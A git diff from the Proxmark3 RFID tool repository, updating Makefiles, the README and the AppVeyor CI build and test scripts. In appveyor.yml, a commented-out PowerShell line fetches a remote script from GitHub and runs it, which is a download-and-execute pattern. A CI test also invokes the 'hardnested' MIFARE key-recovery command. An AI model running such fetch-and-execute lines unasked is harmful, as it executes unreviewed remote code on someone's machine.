-exec sh -c "echo >> {}" \;
|
||||
# Apply astyle on *.c, *.h, *.cpp
|
||||
find . \( -name "*.[ch]" -or -name "*.cpp" \) -exec astyle --formatted --mode=c --suffix=none \
|
||||
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \
|
||||
--indent=spaces=4 --indent-switches \
|
||||
--keep-one-line-blocks --max-instatement-indent=60 \
|
||||
--style=google --pad-oper --unpad-paren --pad-header \
|
||||
--align-pointer=name {} \;
|
||||
|
||||
# Detecting weird codepages.
|
||||
# Detecting weird codepages and tabs.
|
||||
checks:
|
||||
find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \
|
||||
# Make sure recode is installed
|
||||
@which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 )
|
||||
@echo "Files with suspicious chars:"
|
||||
@find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \
|
||||
-exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \;
|
||||
@echo "Files with tabs:"
|
||||
# to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq'
|
||||
ifeq ($(platform),Darwin)
|
||||
@find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
|
||||
-exec egrep -l '\t' {} \;
|
||||
else
|
||||
@find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
|
||||
-exec grep -lP '\t' {} \;
|
||||
endif
|
||||
# @echo "Files with printf \\\\t:"
|
||||
# @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \
|
||||
# -exec grep -lP '\\t' {} \;
|
||||
|
||||
# Dummy target to test for GNU make availability
|
||||
_test:
|
||||
|
|
46
Makefile.defs
Normal file
46
Makefile.defs
Normal file
|
@ -0,0 +1,46 @@
|
|||
# Hide full compilation line:
|
||||
ifneq ($(V),1)
|
||||
Q?=@
|
||||
endif
|
||||
# To see full command lines, use make V=1
|
||||
|
||||
# been here
|
||||
DEFSBEENHERE = true
|
||||
|
||||
CP = cp -a
|
||||
GZIP = gzip
|
||||
MKDIR = mkdir -p
|
||||
RM = rm -f
|
||||
RMDIR = rm -rf
|
||||
# rmdir only if dir is empty, tolerate failure
|
||||
RMDIR_SOFT = -rmdir
|
||||
MV = mv
|
||||
TOUCH = touch
|
||||
FALSE = false
|
||||
TAR = tar
|
||||
TARFLAGS ?= -v --ignore-failed-read -r
|
||||
TARFLAGS += -C .. -f
|
||||
CROSS ?= arm-none-eabi-
|
||||
CC = gcc
|
||||
CXX = g++
|
||||
LD = g++
|
||||
|
||||
PATHSEP=/
|
||||
PREFIX ?= /usr/local
|
||||
UDEV_PREFIX ?= /etc/udev/rules.d
|
||||
INSTALLBINRELPATH ?= bin
|
||||
INSTALLSHARERELPATH ?= share/proxmark3
|
||||
INSTALLFWRELPATH ?= share/proxmark3/firmware
|
||||
INSTALLTOOLSRELPATH ?= share/proxmark3/tools
|
||||
INSTALLDOCSRELPATH ?= share/doc/proxmark3
|
||||
|
||||
platform = $(shell uname)
|
||||
DETECTED_OS=$(platform)
|
||||
|
||||
ifeq ($(platform),Darwin)
|
||||
AR= /usr/bin/ar rcs
|
||||
RANLIB= /usr/bin/ranlib
|
||||
else
|
||||
AR= ar rcs
|
||||
RANLIB= ranlib
|
||||
endif
|
79
Makefile.host
Normal file
79
Makefile.host
Normal file
|
@ -0,0 +1,79 @@
|
|||
# This Makefile might have been called from various subdirs, trying to find our Makefile.defs
|
||||
ifeq ($(DEFSBEENHERE),)
|
||||
-include Makefile.defs
|
||||
endif
|
||||
ifeq ($(DEFSBEENHERE),)
|
||||
-include ../Makefile.defs
|
||||
endif
|
||||
ifeq ($(DEFSBEENHERE),)
|
||||
-include ../../Makefile.defs
|
||||
endif
|
||||
ifeq ($(DEFSBEENHERE),)
|
||||
-include ../../../Makefile.defs
|
||||
endif
|
||||
ifeq ($(DEFSBEENHERE),)
|
||||
$(error Can't find Makefile.defs)
|
||||
endif
|
||||
|
||||
CFLAGS ?= -Wall -Werror -O3
|
||||
CFLAGS += $(MYDEFS) $(MYCFLAGS) $(MYINCLUDES)
|
||||
|
||||
vpath %.c $(MYSRCPATHS)
|
||||
|
||||
# Flags to generate temporary dependency files
|
||||
DEPFLAGS = -MT $@ -MMD -MP -MF $(OBJDIR)/$*.Td
|
||||
# make temporary to final dependency files after successful compilation
|
||||
POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d && $(TOUCH) $@
|
||||
|
||||
BINDIR := .
|
||||
OBJDIR := obj
|
||||
|
||||
MYOBJS = $(MYSRCS:%.c=$(OBJDIR)/%.o)
|
||||
CLEAN = $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin))
|
||||
|
||||
all: $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin))
|
||||
|
||||
clean:
|
||||
$(Q)$(RM) $(CLEAN)
|
||||
$(Q)$(RMDIR) $(OBJDIR)
|
||||
|
||||
install: all
|
||||
ifneq (,$(INSTALLTOOLS))
|
||||
$(info [@] Installing $(BINS) to $(DESTDIR)$(PREFIX)...)
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
|
||||
$(Q)$(CP) $(INSTALLTOOLS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
|
||||
endif
|
||||
@true
|
||||
|
||||
uninstall:
|
||||
ifneq (,$(INSTALLTOOLS))
|
||||
$(info [@] Uninstalling $(BINS) from $(DESTDIR)$(PREFIX)...)
|
||||
$(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool)))
|
||||
endif
|
||||
@true
|
||||
|
||||
.PHONY: all clean install uninstall
|
||||
|
||||
$(BINDIR)/$(LIB_A): $(MYOBJS)
|
||||
$(info [=] AR $(notdir $@))
|
||||
$(Q)$(AR) $@ $(MYOBJS)
|
||||
$(Q)$(RANLIB) $@
|
||||
|
||||
$(BINDIR)/% : $(OBJDIR)/%.o $(MYOBJS) $(MYLIBS)
|
||||
$(info [=] LD $(notdir $@))
|
||||
$(Q)$(LD) $(LDFLAGS) $(MYOBJS) $< -o $@ $(MYLIBS)
|
||||
|
||||
$(OBJDIR)/%.o : %.c | $(OBJDIR)
|
||||
$(info [-] CC $<)
|
||||
$(Q)$(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $<
|
||||
$(Q)$(POSTCOMPILE)
|
||||
|
||||
$(OBJDIR):
|
||||
$(Q)$(MKDIR) $(OBJDIR)
|
||||
|
||||
DEPENDENCY_FILES = $(MYOBJS:%.o=%.d) $(BINS:%=$(OBJDIR)/%.d)
|
||||
|
||||
$(DEPENDENCY_FILES): ;
|
||||
.PRECIOUS: $(DEPENDENCY_FILES)
|
||||
|
||||
-include $(DEPENDENCY_FILES)
|
|
@ -1,4 +1,7 @@
|
|||
# If you want to use it, copy this file as Makefile.platform and adjust it to your needs
|
||||
# Run 'make PLATFORM=' to get an exhaustive list of possible parameters for this file.
|
||||
|
||||
PLATFORM=PM3RDV4
|
||||
# If you want more than one PLATFORM_EXTRAS option, separate them by spaces:
|
||||
#PLATFORM_EXTRAS=BTADDON
|
||||
#STANDALONE=LF_SAMYRUN
|
||||
|
|
83
README.md
83
README.md
|
@ -1,26 +1,37 @@
|
|||
# Proxmark3 RDV4.0 Dedicated Github
|
||||
# RRG / Iceman repo - Proxmark3
|
||||
|
||||
This repo is based on iceman fork for Proxmark3. It is dedicated to bringing the most out of the new features for Proxmark3 RDV4.0 new hardware and design.
|
||||
|
||||
[](https://ci.appveyor.com/project/iceman1001/proxmark3-ji4wj/branch/master)
|
||||
[](https://github.com/RfidResearchGroup/proxmark3/releases/latest)
|
||||
| Releases | Linux & OSX CI | Windows CI | Coverity |
|
||||
| ------------------- |:-------------------:| -------------------:| -------------------:|
|
||||
| [](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [](https://travis-ci.org/RfidResearchGroup/proxmark3) | [](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)|
|
||||
|
||||
|
||||
---
|
||||
|
||||
# PROXMARK INSTALLATION AND OVERVIEW
|
||||
|
||||
| FAQ's & Updates | Installation | Use of the Proxmark |
|
||||
| ------------------- |:-------------------:| -------------------:|
|
||||
|[What has changed?](#what-has-changed) | [Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)|
|
||||
|[Development](#development) | [Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md) | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) |
|
||||
|[Why didn't you base it on official PM3 Master?](#why-didnt-you-base-it-on-official-pm3-master)| [Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md) | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)|
|
||||
|[PM3 GUI](#pm3-gui)|[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)|
|
||||
|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) ||
|
||||
|[Notes on UART](/doc/uart_notes.md)|||
|
||||
|[Notes on Frame format](/doc/new_frame_format.md)|||
|
||||
|[What has changed?](#what-has-changed) | **[Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md)** | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)|
|
||||
|[Development](#development) | **[Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md)** | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) |
|
||||
|[Why didn't you base it on official Proxmark3 Master?](#why-didnt-you-base-it-on-official-proxmark3-master)| **[Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md)** | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)|
|
||||
|[Proxmark3 GUI](#proxmark3-gui)|**[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)**|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)|
|
||||
|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) |[Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)|
|
||||
|[Notes on UART](/doc/uart_notes.md)|[Maintainers](/doc/md/Development/Maintainers.md)|[Command Cheat sheet](/doc/cheatsheet.md)|
|
||||
|[Notes on frame format](/doc/new_frame_format.md)||[More cheat sheets](https://github.com/RfidResearchGroup/proxmark3/wiki/More-cheat-sheets)|
|
||||
|[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)|
|
||||
|[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)|
|
||||
|[Notes on tracedata / wireshark](/doc/trace_notes.md)||[JTAG](/doc/jtag_notes.md)|
|
||||
|[Notes on loclass](/doc/loclass_notes.md)||[Complete client command set](/doc/commands.md)|
|
||||
|[Notes on paths](/doc/path_notes.md)|||
|
||||
|[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) ||
|
||||
|[Donations](#Donations)|||
|
||||
|
||||
|
||||
## Build for non-RDV4 Proxmark3 platforms
|
||||
|
||||
In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)
|
||||
|
||||
|
||||
## What has changed?
|
||||
|
||||
On the hardware side:
|
||||
|
@ -32,28 +43,50 @@ On the hardware side:
|
|||
On the software side: quite a lot, see the [Changelog file](CHANGELOG.md).
|
||||
|
||||
## Development
|
||||
This fork now compiles just fine on
|
||||
|
||||
> ⚠ **Note**: This is a bleeding edge repository. The maintainers actively is working out of this repository and will be periodically re-structuring the code to make it easier to comprehend, navigate, build, test, and contribute to, so **DO expect significant changes to code layout on a regular basis**.
|
||||
|
||||
This repo compiles nicely on
|
||||
- Proxspace v3.x
|
||||
- Windows/mingw environment with Qt5.6.1 & GCC 4.8
|
||||
- Ubuntu 1404, 1510, 1604, 1804, 1904
|
||||
- Ubuntu 1604, 1804, 1904
|
||||
- Mac OS X / Homebrew
|
||||
- ParrotOS
|
||||
- WSL (Windows subsystem linux) on Windows 10
|
||||
- ParrotOS, Gentoo, Pentoo, Kali, Nethunter, Archlinux, Fedora
|
||||
- WSL, WSL2 (Windows subsystem linux) on Windows 10
|
||||
- Docker container
|
||||
|
||||
If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first.
|
||||
The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public-Roadmap) is an excellent start to read if you are interesting in contributing.
|
||||
|
||||
- Internal notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md).
|
||||
- Internal notes on UART
|
||||
- Internal notes on Frame format
|
||||
- Internal notes on standalone mode
|
||||
> 👉 **Remember!** If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first.
|
||||
We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards.
|
||||
|
||||
## Notes / helpful documents
|
||||
- notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md).
|
||||
- notes on [UART](/doc/uart_notes.md)
|
||||
- notes on [Frame format](/doc/new_frame_format.md)
|
||||
- notes on [external flash](/doc/ext_flash_notes.md)
|
||||
- notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode)
|
||||
- notes on [Termux / Android](/doc/termux_notes.md)
|
||||
- notes on [tracedata / Wireshark](/doc/trace_notes.md)
|
||||
- notes on [loclass](/doc/loclass_notes.md)
|
||||
- notes on [EMV](/doc/emv_notes.md)
|
||||
- notes on [Paths](/doc/path_notes.md)
|
||||
- notes on [file formats used with Proxmark3](/doc/extensions_notes.md)
|
||||
## Cheat sheet
|
||||
|
||||
Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md)
|
||||
|
||||
## Maintainers ( package, distro )
|
||||
|
||||
To all distro, package maintainers, we tried to make your life easier. `make install` is now available and if you want to know more.
|
||||
- [Maintainers](/doc/md/Development/Maintainers.md)
|
||||
|
||||
## Why didn't you base it on official Proxmark3 Master?
|
||||
|
||||
The separation from official Proxmark3 repo gives us a lot of freedom to create a firmware/client that suits the RDV40 features. We don't want to mess up the official Proxmark3 repo with RDV40 specific code.
|
||||
|
||||
## Proxmark3 GUI
|
||||
|
||||
The official PM3-GUI from Gaucho will not work.
|
||||
The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/burma69/PM3UniversalGUI) Almost, change needed in order to show helptext when client isn't connected to a device.
|
||||
|
||||
|
@ -61,16 +94,18 @@ The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/bu
|
|||
|
||||
Please see the [Proxmark Forum](http://www.proxmark.org/forum/index.php) and see if your issue is listed in the first instance Google is your friend :) Questions will be answered via the forum by Iceman and the team.
|
||||
|
||||
It's needed to have a good USB cable to connect Proxmark3 to USB. If you have stability problems (Proxmark3 resets, firmware hangs, especially firmware hangs just after start, etc.) - check your cable with a USB tester (or try to change it). It needs to have a resistance smaller or equal to 0.3 Ohm.
|
||||
Read the [Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md) guide to weed out most known problems.
|
||||
|
||||
|
||||
## The end
|
||||
|
||||
- [@herrmann1001](https://mobile.twitter.com/herrmann1001) July 2018
|
||||
- July 2018 [@herrmann1001](https://mobile.twitter.com/herrmann1001)
|
||||
- updated Feb 2019 [@5w0rdfish](https://mobile.twitter.com/5w0rdFish)
|
||||
- updated 2019 [@doegox](https://mobile.twitter.com/doegox)
|
||||
|
||||
# Donations
|
||||
|
||||
Nothing says thank you as much as a donation. So if you feel the love, do feel free to become a iceman patron. For some tiers it comes with rewards.
|
||||
|
||||
https://www.patreon.com/iceman1001
|
||||
|
||||
All support is welcome!
|
||||
|
|
167
appveyor.yml
167
appveyor.yml
|
@ -24,7 +24,7 @@ init:
|
|||
Add-AppveyorMessage -Message "[$env:APPVEYOR_REPO_COMMIT_SHORT]$env:appveyor_repo_name($env:APPVEYOR_REPO_BRANCH)" -Category Information -Details "repository: $env:appveyor_repo_name branch: $env:APPVEYOR_REPO_BRANCH release: $releasename"
|
||||
|
||||
|
||||
iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
|
||||
# iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1'))
|
||||
clone_script:
|
||||
- ps: >-
|
||||
Write-Host "Removing ProxSpace..." -NoNewLine
|
||||
|
@ -43,6 +43,12 @@ clone_script:
|
|||
Write-Host "[ OK ]" -ForegroundColor Green
|
||||
|
||||
|
||||
if(!(Test-Path -Path C:\ProxSpace\pm3)){
|
||||
|
||||
New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3
|
||||
|
||||
}
|
||||
|
||||
Write-Host "Removing pm3 dir..." -NoNewLine
|
||||
|
||||
Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\*
|
||||
|
@ -73,14 +79,81 @@ clone_script:
|
|||
Write-Host "[ OK ]" -ForegroundColor Green
|
||||
|
||||
|
||||
Write-Host "Update msys2 packages..." -NoNewLine
|
||||
Write-Host "Update msys2 packages..."
|
||||
|
||||
$env:Path = "C:\ProxSpace\msys2\usr\bin;C:\ProxSpace\msys2\mingw32\bin;C:\ProxSpace\gcc-arm-none-eabi\bin;$env:Path"
|
||||
|
||||
Function ExecUpdate($Name, $Cmd, $ErrorLine) {
|
||||
|
||||
C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1
|
||||
Write-Host "Exec [$Name]... " -NoNewLine
|
||||
#--- begin Job
|
||||
|
||||
$Job = Start-Job -Name "$Name" -ScriptBlock {
|
||||
$env:Path = "C:\ProxSpace\msys\bin;$env:Path"
|
||||
Set-Location $using:PWD
|
||||
|
||||
C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1
|
||||
$sb=[scriptblock]::Create("$using:Cmd")
|
||||
#execute scriptblock
|
||||
$Cond=&$sb
|
||||
|
||||
return $Cond
|
||||
}
|
||||
|
||||
#--- end Job
|
||||
|
||||
$JobTime=[System.Environment]::TickCount
|
||||
while($true) {
|
||||
Try {
|
||||
$Res = Receive-Job -Job $Job -Keep 2>&1 6>&1
|
||||
}
|
||||
Catch {
|
||||
$Res = ""
|
||||
Write-host "error in Receive-Job"
|
||||
}
|
||||
|
||||
if ($Res -is "String" -and $Res -like "*$ErrorLine*"){
|
||||
Write-host "Exit by stop phrase" -ForegroundColor Green
|
||||
break
|
||||
}
|
||||
|
||||
if ($Res -is [Object]){
|
||||
[bool]$needexit = $false
|
||||
ForEach($line in $Res){
|
||||
if ($line -like "*$ErrorLine*"){
|
||||
Write-host "Exit by stop phrase [obj]" -ForegroundColor Green
|
||||
$needexit = $true
|
||||
break
|
||||
}
|
||||
}
|
||||
if ($needexit) {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if(Wait-Job $Job -Timeout 5){
|
||||
Write-host "Exit by end job" -ForegroundColor Green
|
||||
break
|
||||
}
|
||||
|
||||
if ([System.Environment]::TickCount-$JobTime -gt 1000000) {
|
||||
Write-host "Exit by timeout" -ForegroundColor Yellow
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Job -Force $Job
|
||||
}
|
||||
|
||||
cd C:\ProxSpace\
|
||||
|
||||
C:\ProxSpace\msys2\ps\setup.cmd
|
||||
|
||||
ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
|
||||
|
||||
ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2"
|
||||
|
||||
Write-Host "Update " -NoNewLine
|
||||
|
||||
Write-Host "[ OK ]" -ForegroundColor Green
|
||||
install:
|
||||
- ps: >-
|
||||
|
@ -110,6 +183,7 @@ build_script:
|
|||
|
||||
$env:MSYSTEM_CHOST="i686-w64-mingw32"
|
||||
|
||||
cd C:\ProxSpace\pm3
|
||||
|
||||
#make
|
||||
|
||||
|
@ -130,54 +204,38 @@ build_script:
|
|||
|
||||
}
|
||||
|
||||
if(!(Test-Path C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z)){
|
||||
if(!(Test-Path C:\ProxSpace\pm3\client\resources\hardnested_tables\*.bin.z)){
|
||||
|
||||
throw "Files in hardnested\tables not exists."
|
||||
throw "Files in client\resources\hardnested_tables is not exists."
|
||||
|
||||
}
|
||||
|
||||
|
||||
#copy
|
||||
#install
|
||||
|
||||
Write-Host "Copy release files..." -NoNewLine -ForegroundColor Yellow
|
||||
Write-Host "Installing..." -NoNewLine -ForegroundColor Yellow
|
||||
|
||||
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release
|
||||
New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\pm3\client\*.exe C:\ProxSpace\Release
|
||||
bash -c -i 'make install DESTDIR=Release PREFIX='
|
||||
|
||||
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\arm
|
||||
|
||||
Copy-Item C:\ProxSpace\pm3\armsrc\obj\*.elf C:\ProxSpace\Release\arm
|
||||
|
||||
Copy-Item C:\ProxSpace\pm3\bootrom\obj\*.elf C:\ProxSpace\Release\arm
|
||||
|
||||
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\scripts
|
||||
|
||||
Copy-Item C:\ProxSpace\pm3\client\scripts\*.lua C:\ProxSpace\Release\scripts
|
||||
|
||||
New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\hardnested\tables
|
||||
|
||||
Copy-Item C:\ProxSpace\pm3\client\hardnested\*.bin C:\ProxSpace\Release\hardnested
|
||||
|
||||
Copy-Item C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z C:\ProxSpace\Release\hardnested\tables
|
||||
|
||||
# dll files
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libgcc_s_dw2-1.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libstdc++-6.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libwinpthread-1.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Core.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Gui.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\Qt5Widgets.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libreadline*.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\Release
|
||||
Copy-Item C:\ProxSpace\msys2\mingw32\bin\libtermcap-0.dll C:\ProxSpace\pm3\Release\bin
|
||||
|
||||
Write-Host "[ OK ]" -ForegroundColor Green
|
||||
|
||||
|
@ -199,7 +257,7 @@ build_script:
|
|||
|
||||
cd C:\ProxSpace
|
||||
|
||||
7z a release.zip C:\ProxSpace\Release
|
||||
7z a release.zip C:\ProxSpace\pm3\Release
|
||||
|
||||
Push-AppveyorArtifact release.zip -DeploymentName "$releasename"
|
||||
|
||||
|
@ -218,7 +276,7 @@ test_script:
|
|||
|
||||
|
||||
Function ExecTest($Name, $File, $Cmd, $CheckResult) {
|
||||
|
||||
|
||||
#--- begin Job
|
||||
|
||||
$Job = Start-Job -ScriptBlock {
|
||||
|
@ -256,6 +314,13 @@ test_script:
|
|||
if ($Cond -is "String" -and $Cond -like "*true*"){
|
||||
$res= $true
|
||||
}
|
||||
ForEach($line in $Cond){
|
||||
if ($line -like "*passed*"){
|
||||
$res = $true
|
||||
$Cond = $line
|
||||
break
|
||||
}
|
||||
}
|
||||
} Else {
|
||||
$res=$Cond
|
||||
}
|
||||
|
@ -287,6 +352,7 @@ test_script:
|
|||
Remove-Job -Force $Job
|
||||
|
||||
if(!$res){
|
||||
Write-host "--------------------- tests fail" -ForegroundColor Red
|
||||
$global:TestsPassed=$false
|
||||
}
|
||||
}
|
||||
|
@ -297,34 +363,39 @@ test_script:
|
|||
|
||||
#file test
|
||||
|
||||
ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\Release\proxmark3.exe}
|
||||
ExecTest "proxmark3 exists" "proxmark3.exe" {Test-Path C:\ProxSpace\pm3\Release\bin\proxmark3.exe}
|
||||
|
||||
ExecTest "arm image exists" "\arm\fullimage1.elf" {Test-Path C:\ProxSpace\Release\arm\fullimage.elf}
|
||||
ExecTest "arm bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\bootrom.elf}
|
||||
|
||||
ExecTest "bootrom exists" "bootrom.elf" {Test-Path C:\ProxSpace\Release\arm\bootrom.elf}
|
||||
ExecTest "arm image exists" "fullimage.elf" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\fullimage.elf}
|
||||
|
||||
ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\Release\hardnested\tables\*.z}
|
||||
ExecTest "arm recovery image exists" "proxmark3_recovery.bin" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\firmware\proxmark3_recovery.bin}
|
||||
|
||||
ExecTest "hardnested tables exists" "hardnested" {Test-Path C:\ProxSpace\pm3\Release\share\proxmark3\resources\hardnested_tables\*.z}
|
||||
|
||||
ExecTest "release exists" "release.zip" {Test-Path C:\ProxSpace\release.zip}
|
||||
|
||||
|
||||
#proxmark logic tests
|
||||
|
||||
ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h | grep -q wait && echo Passed || echo Failed'}
|
||||
ExecTest "proxmark help" "proxmark3 -h" {bash -lc 'cd ~/client;./proxmark3 -h 2>&1 | grep -q wait && echo passed || echo failed'}
|
||||
|
||||
ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo Passed || echo Failed'}
|
||||
ExecTest "proxmark help text ISO7816" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q ISO7816 && echo passed || echo failed'}
|
||||
|
||||
ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo Passed || echo Failed'}
|
||||
ExecTest "proxmark help text hardnested" "proxmark3 -t" {bash -lc 'cd ~/client;./proxmark3 -t 2>&1 | grep -q hardnested && echo passed || echo failed'}
|
||||
|
||||
|
||||
ExecTest "hf mf offline text" "hf mf" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf'"} "at_enc"
|
||||
|
||||
ExecTest "hf mf hardnested" "hf mf hardnested" {bash -lc "cd ~/client;./proxmark3 -c 'hf mf hardnested t 1 000000000000'"} "found:"
|
||||
|
||||
|
||||
#proxmark crypto tests
|
||||
|
||||
